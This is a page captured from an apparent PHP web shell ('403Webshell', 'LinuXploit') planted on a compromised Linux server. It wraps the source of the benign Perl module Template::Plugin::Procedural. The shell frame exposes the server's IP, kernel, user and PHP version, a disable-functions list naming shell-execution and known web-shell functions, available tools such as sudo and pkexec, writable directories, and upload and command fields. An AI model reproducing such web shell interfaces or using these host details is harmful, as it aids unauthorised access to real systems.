403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.21.21.209
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/lib64/perl5/Template/Plugin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/lib64/perl5/Template/Plugin/Procedural.pm
#==============================================================================
# 
# Template::Plugin::Procedural
#
# DESCRIPTION
#   A Template Plugin to provide a Template Interface to Data::Dumper
#
# AUTHOR
#   Mark Fowler <mark@twoshortplanks.com>
#
# COPYRIGHT
#   Copyright (C) 2002 Mark Fowler.  All Rights Reserved
#
#   This module is free software; you can redistribute it and/or
#   modify it under the same terms as Perl itself.
#
#==============================================================================

package Template::Plugin::Procedural;

use strict;
use warnings;
use base 'Template::Plugin';

our $VERSION = 1.17;
our $DEBUG   = 0 unless defined $DEBUG;
our $AUTOLOAD;

#------------------------------------------------------------------------
# load
#------------------------------------------------------------------------

sub load {
    my ($class, $context) = @_;

    # create a proxy namespace that will be used for objects
    my $proxy = "Template::Plugin::" . $class;

    # okay, in our proxy create the autoload routine that will
    # call the right method in the real class
    no strict "refs";
    unless( defined( *{ $proxy . "::AUTOLOAD" } ) ) {
        *{ $proxy . "::AUTOLOAD" } = sub {
            # work out what the method is called
            $AUTOLOAD =~ s!^.*::!!;

            print STDERR "Calling '$AUTOLOAD' in '$class'\n"
                if $DEBUG;

            # look up the sub for that method (but in a OO way)
            my $uboat = $class->can($AUTOLOAD);

            # if it existed call it as a subroutine, not as a method
            if ($uboat) {
                shift @_;
                return $uboat->(@_);
            }

            print STDERR "Eeek, no such method '$AUTOLOAD'\n"
                if $DEBUG;

            return "";
        };
    }

    # create a simple new method that simply returns a blessed
    # scalar as the object.
    unless( defined( *{ $proxy . "::new" } ) ) {
        *{ $proxy . "::new" } = sub {
            my $this;
            return bless \$this, $_[0];
        };
    }

    return $proxy;
}

1;

__END__

=head1 NAME

Template::Plugin::Procedural - Base class for procedural plugins

=head1 SYNOPSIS

    package Template::Plugin::LWPSimple;
    use base qw(Template::Plugin::Procedural);
    use LWP::Simple;  # exports 'get'
    1;

    [% USE LWPSimple %]
    [% LWPSimple.get("http://www.tt2.org/") %]

=head1 DESCRIPTION

C<Template::Plugin::Procedural> is a base class for Template Toolkit
plugins that causes defined subroutines to be called directly rather
than as a method.  Essentially this means that subroutines will not
receive the class name or object as its first argument.

This is most useful when creating plugins for modules that normally
work by exporting subroutines that do not expect such additional
arguments.

Despite the fact that subroutines will not be called in an OO manner,
inheritance still function as normal.  A class that uses
C<Template::Plugin::Procedural> can be subclassed and both subroutines
defined in the subclass and subroutines defined in the original class
will be available to the Template Toolkit and will be called without
the class/object argument.

=head1 AUTHOR

Mark Fowler E<lt>mark@twoshortplanks.comE<gt> L<http://www.twoshortplanks.com>

=head1 COPYRIGHT

Copyright (C) 2002 Mark Fowler E<lt>mark@twoshortplanks.comE<gt>

This module is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=head1 SEE ALSO

L<Template>, L<Template::Plugin>

=cut

# Local Variables:
# mode: perl
# perl-indent-level: 4
# indent-tabs-mode: nil
# End:
#
# vim: expandtab shiftwidth=4:

Youez - 2016 - github.com/yon3zu
LinuXploit